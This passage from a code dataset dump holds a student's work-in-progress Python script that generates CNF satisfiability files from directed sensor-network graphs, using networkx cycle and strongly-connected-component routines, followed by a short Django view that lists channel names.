cycle\n\t\tblocked.add(startnode)\n\t\tB = defaultdict(set) # graph portions that yield no elementary circuit\n\t\tstack = [(startnode, list(sccG[startnode]))] # sccG gives comp neibrs # sccGraph gives component neighbors\n\t\twhile stack:\n\t\t\tthisnode, neibrs = stack[-1]\n\t\t\tif neibrs:\n\t\t\t\tnextnode = neibrs.pop()\n\t\t\t\tif nextnode == startnode:\n\t\t\t\t\tyield path[:]\n\t\t\t\t\tclosed.update(path)\n#\t\t\t\t\t\tprint \"Found a cycle\", path, closed\n\t\t\t\telif nextnode not in blocked:\n\t\t\t\t\tpath.append(nextnode)\n\t\t\t\t\tstack.append((nextnode, list(sccG[nextnode])))\n\t\t\t\t\tclosed.discard(nextnode)\n\t\t\t\t\tblocked.add(nextnode)\n\t\t\t\t\tcontinue\n\t\t\t# done with nextnode... look for more neighbors\n\t\t\tif not neibrs: # no more neibrs\n\t\t\t\tif thisnode in closed:\n\t\t\t\t\t_unblock(thisnode, blocked, B)\n\t\t\t\telse:\n\t\t\t\t\tfor nbr in sccG[thisnode]:\n\t\t\t\t\t\tif thisnode not in B[nbr]:\n\t\t\t\t\t\t\tB[nbr].add(thisnode)\n\t\t\t\tstack.pop()\n\t\t\t\t#\t\t\t\tassert path[-1] == thisnode\n\t\t\t\tpath.pop()\n\t\t# done processing this node\n\t\tH = subG.subgraph(scc) # make smaller to avoid work in SCC routine\n\t\tsccStack.extend(scc for scc in nx.strongly_connected_components(H) if len(scc) > 1)\n\n# CODE ABOVE is networkx original implementation\n\nN=6 #Number of sensors\n\nScope = 10 #Homogenous sensor nodes Scope\nMinScopeRange = 7\nMaxScopeRange = 37\nrangeX = (25, 65)\nrangeY = (25, 65)\n\nisDraw = False\nisSave = False\n\nscopeRad = (MinScopeRange, MaxScopeRange) #Scope interval - random sugar\nNodeTypes = False #homogeneous or heterogeneous; True= homogenius False= heterogeneus\nif NodeTypes == True:\n\tprint(\"*****Undirected graph******\")\nelse:\n\tprint(\"*****Directed graph*******\")\nrnd.seed() #Random seed\nclauseSet=[]\nclauseSetReal = []\nclause=[]\ncreal=[]\nmodel1=[]\nmodel1Set=[]\nmodel2=[]\nmodel2Set=[]\nlist_of_cliques = []\narrScope = [[]]\nWMclause =[]\nWMclauseSet = []\n\n\n\n\n#Directed graph\n# g = nx.DiGraph()\n\n# Figure properties\nif (isDraw):\n\tpylab.rcParams['figure.figsize'] = 7, 7\n\tfig = pylab.gcf()\n\tax = pylab.gca()\n\tax.cla()\n\tax.set_xlim((0,140))\n\tax.set_ylim((0,140))\n\tpylab.figure(1, figsize=(14, 10))\n\tpylab.plot() #Plot WirelesSensorNetwork (WSN)\n\n\n################################### Creating network ###################################\n\n#**************************************************************************************************************\n#Sensors placement and Graph\n#**************************************************************************************************************\n\n\n\"\"\" for i in range(1,N+1):\n\tx = float(rnd.randrange(*rangeX))\n\ty = float(rnd.randrange(*rangeY))\n\tpositions = (x,y)\n\trndRad = rnd.randrange(*scopeRad)\n\tg.add_node(i,pos=(x,y))\n\tif NodeTypes == False:\n\t\tarrScope.append([i,rndRad])\n\t\tScope = rndRad\n\telse:\n\t\tarrScope.append([i,Scope])\n\tcircle = pylab.Circle((x,y), Scope, color=\"blue\", fill=False)\n\tif (isDraw):\n\t\tfig.gca().add_artist(circle)\n\tpos=nx.get_node_attributes(g,'pos')\n\t#g.node.values() # originaly debug data? Why run it for every node?\n#print(\"Original placement of nodes on the field\")\n#print(g.nodes.data())\n#These comments are not deleted, what if you ever need it...\nif (isDraw):\n\tnx.draw(g,pos, with_labels=True)\n\tpylab.title('Sensor nodes') \"\"\"\n\n#**************************************************************************************************************\n#Strong Model-VALID\n#**************************************************************************************************************\n\nkloz = 0\nedges = []\n# Generating graph & cnf file\n\"\"\" for i in range(1,N+1):\n\tclause.append(i)\n\tfor j in range(1,N+1):\n\t\tx1,y1 = pos[i]\n\t\tx2,y2 = pos[j]\n\t\tif i!=j:\n\t\t\tif NodeTypes == False:\n\t\t\t\tComm = arrScope[i][1]+arrScope[j][1]\n\t\t\telse:\n\t\t\t\tComm = 50\n\t\t\tif (mt.sqrt(mt.pow((x2-x1),2)+mt.pow((y2-y1),2)))<= arrScope[i][1]:\n\t\t\t\tedges.append((i,j))\n\t\t\t\tclause.append(j)\n\t\t\t\tkloz= kloz+1\n\tcreal = clause #original sequence\n\tconsistof = False\n\tfor i in range(len(clauseSet)):\n\t\tif clause == clauseSet[i]:\n\t\t\tconsistof = True\n\tif consistof == False:\n\t\tclauseSet.append(clause)\n\tclause = []\n\tcreal = []\n \"\"\"\nedges.append((2,1))\nedges.append((1,3))\nedges.append((1,4))\nedges.append((3,2))\nedges.append((4,5))\n\ng = nx.DiGraph(edges)\n# print(list(nx.simple_cycles(g)))\n\n#**************************************************************************************************************\n#Weak Model elkepzeles\n#**************************************************************************************************************\n''' define the weak model\nA semi-connected graph is a graph that for each pair of vertices u,v,\n\tthere is either a path from u to v or a path from v to u.\n\tGive an algorithm to test if a graph is semi-connected.\n Given a graph G=(V,E)\n\t-Find strongly connected components in G\n\t-Replace each SCC with a vertex, G become a directed acyclic graph (DAG)\n\t-Topological sort on DAG\n\t-If there is an edge between each pair of vertices(v[i],v[i+1]) then\n\tthe given graph is semi-connected\n\nEgy félig összefüggő gráf olyan gráf, ami\n\tminden pár csúcs u, v közt van él u-ból v-be vagy v-ből u-ba.\n\tAdott egy algoritmus, ami leteszteli, ha egy gráf félig összefüggő.\n Adott egy gráf G = (V, E)\n\t- Találjuk meg G erősen összetett komponenseit (scc).\n\t- Cseréljük ki az összes scc-t egy csúcsra, és G\n\tegy irányított aciklikus gráf (DAG) lett.\n\t- Topológiailag rendezzük a kapott DAG-ot.\n\t- Ha van él minden adott csúcs közt (v[i], v[i+1]), akkor az adott gráf\n\tfélig összefüggő.\n\tSide note: Az algráf minden éle legyen G-nek az éle, amivel össze van kötve = (v[i], v[i+1]).\n\n\t\n\t# Johnson algoritmusának szüksége van a csomópontok rendezésére. Az erősen összetett komponensek által megadott tetszőleges sorrendet rendelünk a csúcsokhoz.\n\t# Nem szükséges a rendezés számontartása, mivel minden csomópont feldolgozás után törölve lesz. Valamint az eredeti gráfot elmentjük, hogy változtathassuk. \n\t# Csak az éleket vegyük ki, mert nincs szükség a tulajdonságaira.\n'''\n#stack-ben csak egyszer szerepelhet egy elem. Ezért lehetséges. Nem ismétlődnek az scc elemei.\n\n\ndef weak_model_gen(G):\n\t#? nem tudom biztosra, hogy kéne előre vizsgálni.\n\t# OK = nx.is_strongly_connected(G) & nx.is_semiconnected(G)\n\t# if not OK:\n\t# \tprint(\"Not scc, or semiconnection\")\n\t\t# print(\"Exited method: weak_model_gen, bad_args\")\n\t\t# raise SystemExit\n\n\tnegative_literals = []\n\texitpoints = []\n\tall_clauses = []\n\tedges_plus = []\n\tedges = type(G)(G.edges())\n\tprint(\"minden él:\", edges.edges())\n\t# Todo: scc_count legyen a len(G.nodes()), mint alap érték, hogy nagyobb legyen bármelyik node számánál az scc-t helyettesítő node száma.\n\t# Todo: Lehet jobb, biztosabb megoldást kell erre kitalálni.\n\tscc_count = len(G.nodes())\n\tGraph = nx.DiGraph(G.edges())\n\tsccStack = [scc for scc in nx.strongly_connected_components(Graph) if len(scc) > 1]\n\twhile sccStack:\n\t\tscc_Cycle = sccStack.pop()\n\t\tscc_count += 1\n\t\tfor scc_elem_x in scc_Cycle:\n\t\t\tnegative_literals.append(-scc_elem_x)\t\t#! neg literal\n\t\t\tdads_one_far = [ des for des in nx.descendants_at_distance(Graph, scc_elem_x, 1)]\n\t\t\tprint(\"next szomszéd:\", dads_one_far)\n\t\t\twhile dads_one_far:\n\t\t\t\tdad_element = dads_one_far.pop()\n\t\t\t\tfor scc_elem_y in scc_Cycle:\n\t\t\t\t\tif dad_element != scc_elem_y:\n\t\t\t\t\t\tprint(\"scc: %i, szomszédja: %i\" % (scc_count, dad_element))\n\t\t\t\t\t\tedges_plus.append((scc_count, dad_element))\n\t\t\t\t\t\texitpoints.append(dad_element)\t#! pos literal\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\t\tprint(\"Törölt él:\", (scc_elem_x, dad_element))\n\t\t\t\t\t# scc_Cycle.remove(scc_elem_x)\n\t\t\t\t\tedges.remove_edge(scc_elem_x, dad_element)\n\t\t\t\t# print(\"Neighbors %i. edge: \" % dad_element + str(edges))\n\t\t\texitpoints.append(0.1)\n\t\t\tfor i in negative_literals:\n\t\t\t\tall_clauses.append(i)\n\t\t\tfor i in exitpoints:\n\t\t\t\tall_clauses.append(i)\n\t\tprint(negative_literals)\n\t\tprint(exitpoints)\n\n\t\tnegative_literals = []\n\t\texitpoints = []\n\n\t# Todo: edges-nek átadni az összes élt. Az scc-k éleit törölni és kicserélni a scc_count + exitpoint kimenetre\n\t# edges és edges_plus-t rendezni. Hogy jó  wm  legyen tárolva.\n\n\twm = nx.DiGraph(edges_plus)\n\tisDAG = nx.is_directed_acyclic_graph(wm)\n\tprint(\"Is it a DAG? \" + str(isDAG))\n\tprint(\"Is it semiconnected? \" + str(nx.is_semiconnected(wm)))\n\tif(isDAG):\n\t\t#! amíg hibás a kijövő adat, addig nem lesz jó ez se jó.\n\t\t# Todo: az éleket a kiválogatás után hozzá adni. És az kell a fileba.\n\t\twm = nx.topological_sort(wm)\n\tprint(wm)\n\tprint(list(wm))\n\n\t# if isDraw:\n\tif True:\n\t\tpylab.savefig(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_WM.png\")\n\t# if isSave:\n\t\tfile_wm = open(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_WM.cnf\", \"w\")\n\t\tfile_wm.write('p cnf ')\t\t\t#header\n\t\tfile_wm.write('%s ' % N)\n\t\tfile_wm.write('%s ' % str(len(all_clauses)))\n\t\tfile_wm.write('\\n')\t\t\t\t#header vege\n\n\t\tprint(\"\\nTo file: \", end='')\n\t\tfor i in all_clauses:\n\t\t\tif i != 0.1:\n\t\t\t\tfile_wm.write('%s ' % str(i))\n\t\t\t\tprint(str(i) + ' ', end='')\n\t\t\telse:\n\t\t\t\tfile_wm.write('%s\\n' % 0)\n\n \t\t# Fekete és fehér hozzárendelés\n\t\tfor n in range(1, N+1):\n\t\t\tfile_wm.write('%s ' % n)\n\t\tfile_wm.write('%s\\n' % 0)\n\t\tfor n in range(1, N+1):\n\t\t\tfile_wm.write('%s ' % -n)\n\t\tfile_wm.write('%s\\n' % 0)\n\t\tfile_wm.close()\n\n\t\"\"\" egyszerű wm leírás\n\tKigyűjtjük az scc-ket.\n\t\tBonyolultakat is kellene (Amíg van scc: ...), mert\n\t\ta-b kör, b-c kör. akkor lehet küldeni üzenetet a>b>c>b>a>...\n\t\tha a-b X és b-c Y scc-k, valamint megakarjuk tartani a köztük lévő kapcsolatot, akkor\n\t\tmegint egy scc-t hozunk létre X-Y kör formájában ...Nem jó!\n\t\tAkkor egy darab nagy Z scc-t kéne mondjuk létrehozni?\n\t\tHa pedig teljes gráfról beszélünk, akkor az egészből nem csinálhatunk 1 db scc-t. Vagy igen?\n\tKicseréljük az scc-ket csúcsokra\n\tÖssze kötjük\n\t\tIránynak merre? Legyen nem irányított? (undirected. Nem DAG? nem lehet topologiailag rendezni?)\n\tTopológiailag rendezzük a csúcsokat.\n\t\"\"\"\n\n# Python implementation of Kosaraju's algorithm to print all SCCs\n# Az összes scc-t megadja\ndef dfs_util(self, Graph, node, visited, sccs):\n\tvisited[node] = True\n\t# Mark the current node as visited and print it\n\tsccs.append((node))\n\tprint(node)\n\t# Recur for all the vertices adjacent to this vertex\n\tfor i in range(len(Graph.nodes())):\n\t\tif visited[i] == False:\n\t\t\tdfs_util(self, Graph, i,visited, sccs)\n\treturn sccs\n\nnx.DiGraph.dfs_util = dfs_util # Monkey patch, it's kinda like delegates :)\n\ndef fill_order(Graph, node, visited, stack):\n\tvisited[node] = True\n\t# Recur for all the vertices adjacent to this vertex\n\tfor i in Graph.nodes(node):\n\t\tif visited[node] == False:\n\t\t\tfill_order(Graph, i, visited, stack)\n\tstack = stack.append(node)\n\nnx.DiGraph.fill_order = fill_order\n\ndef get_transpose(Graph):\n\tg = nx.DiGraph(Graph)\n\t# Recur for all the vertices adjacent to this vertex\n\tfor i in Graph.nodes():\n\t\tfor j in Graph.nodes(i):\n\t\t\tg.add_edge(j,i)\n\treturn g\n\nnx.DiGraph.get_transpose = get_transpose\n\ndef get_all_scc(Graph):\n\tstack = []\n\tvisited = [False]*Graph.number_of_nodes()\n\tfor i in range(Graph.number_of_nodes()):\n\t\tif visited[i] == False:\n\t\t\tfill_order(Graph, i, visited, stack)\n\n\t# Create reversed graph\n\tgr = get_transpose(Graph)\n\tsccs = []\n\n\t# Mark all nodes as not visited (For second DFS)\n\tvisited = [False]*len((Graph.nodes))\n\n\t# Process in order defined by the stack\n\twhile stack:\n\t\ti = stack.pop()\n\t\tif not visited[i]:\n\t\t\tsccs = gr.dfs_util(Graph, i, visited, sccs)\n\t\t\tprint(\"Gave every scc to you\")\n\t\t\treturn sccs\n\n# Use it on the given graph.\n# This code is contributed by Neelam Yadav.\n\nnx.DiGraph.generate_all_scc = get_all_scc\n\n#**************************************************************************************************************\n#Details original\n#**************************************************************************************************************\n\ngraph_dens = float(g.number_of_edges()) / float((N*(N-1)))\nprint(\"Number of nodes: \" , N)\nprint(\"The maximum number of edges (if the graph is directed -default): \", N*(N-1))\nprint(\"Number of edges: \" , g.number_of_edges())\nprint(\" Graph density : %.2f (Coleman and More 1983).\" % (graph_dens))\n\nif (isSave):\n\tpylab.savefig(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_base.png\")\n\n#**************************************************************************************************************\n# Details 1.0 - is_strongly_connected?????\n#**************************************************************************************************************\n\nisStrConn = nx.is_strongly_connected(g)\nprint(\"G is strongly connected? \" +str(isStrConn))\ncopyG = type(g)(g)\n# print(nx.condensation(copyG))\nweak_model_gen(g)\n\n#**************************************************************************************************************\n#Strong model\n#**************************************************************************************************************\n\nif not(isStrConn):\n\tis_cycle = False\n\traise SystemExit\nelse:\n\tis_cycle = True\n\tdfs_path = list(nx.dfs_preorder_nodes(g))\n\tthe_biggest_cycle = original_cycle= dfs_path\n\tif (isDraw):\n\t\tpylab.figure()\n\t\tpylab.plot()\n\t\tpylab.title('Communication graph - optimalized')\n\t\tnx.draw(g,with_labels=True)\n\tif (isSave):\n\t\tpylab.savefig(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_SM.png\")\n\t\tf_sm = open(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_SM.cnf\", \"w\")\n\t\tf_sm.write('p cnf ')\t\t\t#header\n\t\tf_sm.write('%s ' % N)\n\t\tf_sm.write('%s ' % str(kloz+2))\n\t\tf_sm.write('\\n')\t\t\t\t#header vege\n\n\t\tfor i in range(len(clauseSet)):\n\t\t\tfor j in range(len(clauseSet[i])-1):\n\t\t\t\tmodel1.append(-clauseSet[i][0])\n\t\t\t\tmodel1.append(clauseSet[i][j+1])\n\t\t\t\tfor k in model1:\n\t\t\t\t\tf_sm.write('%s ' % k)\n\t\t\t\tmodel1.append(0)\n\t\t\t\tf_sm.write('%s\\n' % 0)\n\t\t\t\tmodel1Set.append(model1)\n\t\t\t\tmodel1 = []\n\n\t\tfor m in range(1, N+1):\n\t\t\tf_sm.write('%s ' % m)\n\t\tf_sm.write('%s\\n' % 0)\n\t\tfor m in range(1, N+1):\n\t\t\tf_sm.write('%s ' % -m)\n\t\tf_sm.write('%s\\n' % 0)\n\t\tf_sm.close()\n\n\n#**************************************************************************************************************\n#BalatonBoglar Model-VALID\n#**************************************************************************************************************\nif(isSave):\n\tf_bb = open(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_BB.cnf\", \"w\")\n\tf_bb.write('p cnf ')\n\tf_bb.write('%s ' % N)\n\tf_bb.write('\\n')\n\n\tnodeRepBB =[]\n\tnodeRepBB_temp = []\n\n\t#-++ t allitja elo a fileban (npp literalokat)\n\tfor i in range(1,N+1):\n\t\tif int(len(list(g.successors(i))))==0: #legalabb egy leszarmazott\n\t\t\tprint(\"\")\n\t\telse:\n\t\t\tnodeRepBB_temp.append(-i)\n\t\t\tif len(list(g.successors(i)))==1:\n\t\t\t\tsuccList = list(g.successors(i))\n\t\t\t\tnodeRepBB_temp.append(succList[0])\n\t\t\t\tnodeRepBB.append(nodeRepBB_temp)\n\t\t\t\tnodeRepBB_temp=[]\n\t\t\telse: #tobb leszarmazott is van\n\t\t\t\tsuccList = list(g.successors(i))\n\t\t\t\tn1 = rnd.randrange(0,len(succList))\n\t\t\t\tnodeRepBB_temp.append(succList[n1])\n\t\t\t\tn2 = n1\n\t\t\t\twhile n2 == n1:\n\t\t\t\t\tn2 = rnd.randrange(0,len(succList))\n\t\t\t\tnodeRepBB_temp.append(succList[n2])\n\t\t\t\tnodeRepBB.append(nodeRepBB_temp)\n\t\t\t\tnodeRepBB_temp=[]\n\t\t\n\tfor bbNodeRepClause in range(0,len(nodeRepBB)):\n\t\tfor bbNodeRepClause_element in range(0, len(nodeRepBB[bbNodeRepClause])):\n\t\t\tf_bb.write('%s ' % nodeRepBB[bbNodeRepClause][bbNodeRepClause_element])\n\t\tf_bb.write('%s\\n' % 0)\n\n\t#2-hop successors\n\ttwo_hop_n=[]\n\ttwo_hop_n_n = []\n\n\tfor i in range(1,N+1):\n\t\tsuccList_1_hop = list(g.successors(i))\n\t\tfor j in range(0,len(succList_1_hop)):\n\t\t\tsuccList_2_hop = list(g.successors(succList_1_hop[j]))\n\t\t\tfor k in range(0,len(succList_2_hop)):\n\t\t\t\ttwo_hop_n_n.append(-i)\n\t\t\t\ttwo_hop_n_n.append(-succList_1_hop[j])\n\t\t\t\tif succList_2_hop[k] != i:\n\t\t\t\t\ttwo_hop_n_n.append(succList_2_hop[k])\n\t\t\t\tif len(two_hop_n_n) == 3:\n\t\t\t\t\ttwo_hop_n.append(two_hop_n_n)\n\t\t\t\ttwo_hop_n_n = []\n\t\t\t\t\n\tfor bb2hopRepClause in range(0,len(two_hop_n)):\n\t\tfor bb2hopRepClause_element in range(0, len(two_hop_n[bb2hopRepClause])):\n\t\t\tf_bb.write('%s ' % two_hop_n[bb2hopRepClause][bb2hopRepClause_element])\n\t\tf_bb.write('%s\\n' % 0)\n\n\n\t#Constraints......\n\tfor m in range(1, N+1):\n\t\tf_bb.write('%s ' % m)\n\tf_bb.write('%s\\n' % 0)\n\t#f_sm.write('\\n')\n\tfor m in range(1, N+1):\n\t\tf_bb.write('%s ' % -m)\n\tf_bb.write('%s\\n' % 0)\n\n\tf_bb.close()\n\n\"\"\"\n#**************************************************************************************************************\n#Simplified BalatonBoglar Model es MSBB-VALID only strongly connected graphs\n#**************************************************************************************************************\nif (not(is_cycle)):\n\tprint(\"No good\")\nelse:\n\tf_sbb = open(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_SBB.cnf\", \"w\")\n\tf_sbb.write('p cnf ')\n\tf_sbb.write('%s ' % N)\n\tf_sbb.write('\\n')\n\tf_msbb = open(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_MSBB.cnf\", \"w\")\n\tf_msbb.write('p cnf ')\n\tf_msbb.write('%s ' % N)\n\tf_msbb.write('\\n')\n\n\n#**************************************************************************************************************\n#SBB node rep\n#**************************************************************************************************************\nnodeRepBB =[]\nnodeRepBB_temp = []\n\nfor i in range(1,N+1):\n\tif int(len(list(g.successors(i))))==0:\n\t\tprint(\"\")\n\telse:\n\t\tnodeRepBB_temp.append(-i)\n\t\tif len(list(g.successors(i)))==1:\n\t\t\tsuccList = list(g.successors(i))\n\t\t\tnodeRepBB_temp.append(succList[0])\n\t\t\tnodeRepBB.append(nodeRepBB_temp)\n\t\t\tnodeRepBB_temp=[]\n\t\telse:\n\t\t\tsuccList = list(g.successors(i))\n\t\t\tn1 = rnd.randrange(0,len(succList))\n\t\t\tnodeRepBB_temp.append(succList[n1])\n\t\t\tn2 = n1\n\t\t\twhile n2 == n1:\n\t\t\t\tn2 = rnd.randrange(0,len(succList))\n\t\t\tnodeRepBB_temp.append(succList[n2])\n\t\t\tnodeRepBB.append(nodeRepBB_temp)\n\t\t\tnodeRepBB_temp=[]\n\t\t\nfor bbNodeRepClause in range(0,len(nodeRepBB)):\n\tfor bbNodeRepClause_element in range(0, len(nodeRepBB[bbNodeRepClause])):\n\t\tf_sbb.write('%s ' % nodeRepBB[bbNodeRepClause][bbNodeRepClause_element])\n\tf_sbb.write('%s\\n' % 0)\n\n\n\n#**************************************************************************************************************\n#MSBB node rep\n#**************************************************************************************************************\nnodeRepBB =[]\nnodeRepBB_temp = []\n\nfor i in range(1,N+1):\n\tif int(len(list(g.successors(i))))==0:\n\t\tprint(\"\")\n\telse:\n\t\tnodeRepBB_temp.append(-i)\n\t\tfor j in range(0,len(list(g.successors(i)))):\n\t\t\tsuccList = list(g.successors(i))\n\t\t\tif (i!=succList[j]):\n\t\t\t\tnodeRepBB_temp.append(succList[j])\n\t\tnodeRepBB.append(nodeRepBB_temp)\n\t\tnodeRepBB_temp=[]\n\nfor bbNodeRepClause in range(0,len(nodeRepBB)):\n\tfor bbNodeRepClause_element in range(0, len(nodeRepBB[bbNodeRepClause])):\n\t\tf_msbb.write('%s ' % nodeRepBB[bbNodeRepClause][bbNodeRepClause_element])\n\tf_msbb.write('%s\\n' % 0)\n\n#Cycles......\nfor i in range(0,len(the_biggest_cycle)-2):\n\tf_sbb.write('%s ' % -the_biggest_cycle[i] )\n\tf_sbb.write('%s ' % -the_biggest_cycle[i+1] )\n\tf_sbb.write('%s ' % the_biggest_cycle[i+2] )\n\tf_sbb.write('%s\\n' % 0)\n\tf_msbb.write('%s ' % -the_biggest_cycle[i] )\n\tf_msbb.write('%s ' % -the_biggest_cycle[i+1] )\n\tf_msbb.write('%s ' % the_biggest_cycle[i+2] )\n\tf_msbb.write('%s\\n' % 0)\nf_sbb.write('%s ' % -the_biggest_cycle[N-2])\nf_sbb.write('%s ' % -the_biggest_cycle[N-1])\nf_sbb.write('%s ' % the_biggest_cycle[0])\nf_sbb.write('%s\\n' % 0)\nf_sbb.write('%s ' % -the_biggest_cycle[N-1])\nf_sbb.write('%s ' % -the_biggest_cycle[0])\nf_sbb.write('%s ' % the_biggest_cycle[1])\nf_sbb.write('%s\\n' % 0)\nf_msbb.write('%s ' % -the_biggest_cycle[N-2])\nf_msbb.write('%s ' % -the_biggest_cycle[N-1])\nf_msbb.write('%s ' % the_biggest_cycle[0])\nf_msbb.write('%s\\n' % 0)\nf_msbb.write('%s ' % -the_biggest_cycle[N-1])\nf_msbb.write('%s ' % -the_biggest_cycle[0])\nf_msbb.write('%s ' % the_biggest_cycle[1])\nf_msbb.write('%s\\n' % 0)\n\n\n#legnagyobb kor eleinek torlese\nfor i in range(0,len(the_biggest_cycle)-1):\n\tif g.has_edge(the_biggest_cycle[i],the_biggest_cycle[i+1]):\n\t\tg.remove_edge(the_biggest_cycle[i],the_biggest_cycle[i+1])\n\tif g.has_edge(the_biggest_cycle[i+1],the_biggest_cycle[i]):\n\t\tg.remove_edge(the_biggest_cycle[i+1],the_biggest_cycle[i])\nif g.has_edge(the_biggest_cycle[N-1],the_biggest_cycle[0]):\n\tg.remove_edge(the_biggest_cycle[N-1],the_biggest_cycle[0])\nif g.has_edge(the_biggest_cycle[0],the_biggest_cycle[N-1]):\n\tg.remove_edge(the_biggest_cycle[0],the_biggest_cycle[N-1])\n\n\n#Redukalt graf kirajzolasa.... \nif (isDraw):\n\tpylab.figure()\n\tpylab.plot()\n\tpylab.title('Communication graph - after deleting the edges of the largest circle')\n\tnx.draw(g,with_labels=True)\nif (isSave):\n\tpylab.savefig(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_minus_main_cycle.png\")\n\n#error miatt kimarad a lentebbi kód, mert így hibás sbb és msbb modelleket generálok.\no = 0\nisCici=len(tuple(g))\nif isCici >=0:\n\twhile isCici >= 2:\n\t\to+=1\n\t\ta_cycle =[]\n\t\tprint(g.nodes)\n\t\tprint(g.edges)\n\t\tcic = g\n\t\tfor i in range(0,len(cic)):\n\n\t\t\t# kis debug rész\n\t\t\tprint(i)\n\t\t\tprint(cic.edges[i])\n\n\t\t\ta_cycle.append(cic[i][0])\n\t\t\t\t# important line: error\n\t\t\t\t# a g [()]\n\t\t\t\t# cic [i][0] ? az melyik\n\t\t\t\t# g-re átírni. Most már [()] az edges változó és a\n\t\t\t\t# g = nx.DiGraph(edges)\n\t\t\t\t# list(nx.simple_cycles(g)) részek miatt más .append() kell\n\t\ta_cycle.append(a_cycle[0])\n\t\tif len(a_cycle) == 3: #pl 1-->3 , 3-->1\n\t\t\tf_sbb.write('%s ' % -a_cycle[0] )\n\t\t\tf_sbb.write('%s ' % -a_cycle[1])\n\t\t\tf_msbb.write('%s ' % -a_cycle[0] )\n\t\t\tf_msbb.write('%s ' % -a_cycle[1])\n\t\t\tloc= original_cycle.index(a_cycle[0])\n\t\t\tif loc+1 < len(original_cycle):\n\t\t\t\tf_sbb.write('%s ' % original_cycle[loc + 1] )\n\t\t\t\tf_msbb.write('%s ' % original_cycle[loc + 1] )\n\t\t\telse:\n\t\t\t\tf_sbb.write('%s ' % original_cycle[0])\n\t\t\t\tf_msbb.write('%s ' % original_cycle[0])\n\t\t\tf_sbb.write('%s\\n' % 0)\n\t\t\tf_msbb.write('%s\\n' % 0)\n\t\t\tif g.has_edge(a_cycle[0],a_cycle[1]):\n\t\t\t\tg.remove_edge(a_cycle[0],a_cycle[1])\n\t\t\tif g.has_edge(a_cycle[1],a_cycle[0]):\n\t\t\t\tg.remove_edge(a_cycle[1],a_cycle[0])\n\t\telse:\n\t\t\tfor i in range(0,len(a_cycle)-1):\n\t\t\t\tf_sbb.write('%s ' % -a_cycle[i] )\n\t\t\t\tf_sbb.write('%s ' % -a_cycle[i+1])\n\t\t\t\tf_msbb.write('%s ' % -a_cycle[i] )\n\t\t\t\tf_msbb.write('%s ' % -a_cycle[i+1])\n\t\t\t\tloc= original_cycle.index(a_cycle[i])\n\t\t\t\tif loc+1 < len(original_cycle):\n\t\t\t\t\tf_sbb.write('%s ' % original_cycle[loc + 1] )\n\t\t\t\t\tf_msbb.write('%s ' % original_cycle[loc + 1] )\n\t\t\t\telse:\n\t\t\t\t\tf_sbb.write('%s ' % original_cycle[0])\n\t\t\t\t\tf_msbb.write('%s ' % original_cycle[0])\n\t\t\t\tf_sbb.write('%s\\n' % 0)\n\t\t\t\tf_msbb.write('%s\\n' % 0)\n\t\t\tfor i in range(0,len(a_cycle)-1):\n\t\t\t\tif g.has_edge(a_cycle[i],a_cycle[i+1]):\n\t\t\t\t\tg.remove_edge(a_cycle[i],a_cycle[i+1])\n\t\t\t\tif g.has_edge(a_cycle[i+1],a_cycle[i]):\n\t\t\t\t\tg.remove_edge(a_cycle[i+1],a_cycle[i])\n\t\t\tif g.has_edge(a_cycle[len(a_cycle)-1],a_cycle[0]):\n\t\t\t\tg.remove_edge(a_cycle[len(a_cycle)-1],a_cycle[0])\n\t\t\tif g.has_edge(a_cycle[0],a_cycle[len(a_cycle)-1]):\n\t\t\t\tg.remove_edge(a_cycle[0],a_cycle[len(a_cycle)-1])\n\t\tif (isDraw):\n\t\t\tpylab.figure()\n\t\t\tpylab.plot()\n\t\t\tpylab.title('Communication graph - after deleting the edges of a circle')\n\t\t\tnx.draw(g,with_labels=True)\n\t\tif (isSave):\n\t\t\tpylab.savefig(str(N)+\"_\"+str(g.number_of_edges())+\"_\"+str(\"%.2f\" % float(graph_dens))+\"_red_\"+str(o)+\".png\")\n\t\tif g:\n\t\t\tisCici=len(list(g))\n\t\telse:\n\t\t\tisCici = 0\n\n#Constraints\nfor m in range(1, N+1):\n\tf_sbb.write('%s ' % m)\nf_sbb.write('%s\\n' % 0)\nfor m in range(1, N+1):\n\tf_sbb.write('%s ' % -m)\nf_sbb.write('%s\\n' % 0)\nfor m in range(1, N+1):\n\tf_msbb.write('%s ' % m)\nf_msbb.write('%s\\n' % 0)\nfor m in range(1, N+1):\n\tf_msbb.write('%s ' % -m)\nf_msbb.write('%s\\n' % 0)\n\nf_sbb.close()\nf_msbb.close()\n\"\"\"\nprint(\"Ended\")\n","repo_name":"Moss4t/Szakdolgozat","sub_path":"gen py/graph_cnf_GEN_0.8-checkpoint.py","file_name":"graph_cnf_GEN_0.8-checkpoint.py","file_ext":"py","file_size_in_byte":25121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2477030774","text":"from django.shortcuts import render\nfrom .channel_lister import *\nfrom .models import Channel\n\ndef main_page(request):\n    channels=Channel.objects.all().values_list('name', flat=True)\n    print(channels)\n    context = {\n        \"channel_ids\":channels\n    }\n    return render(template_name='poster/index.html', context=context, request=request)\n\n","repo_name":"D1-3105/tgsite","sub_path":"tg_site/poster/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
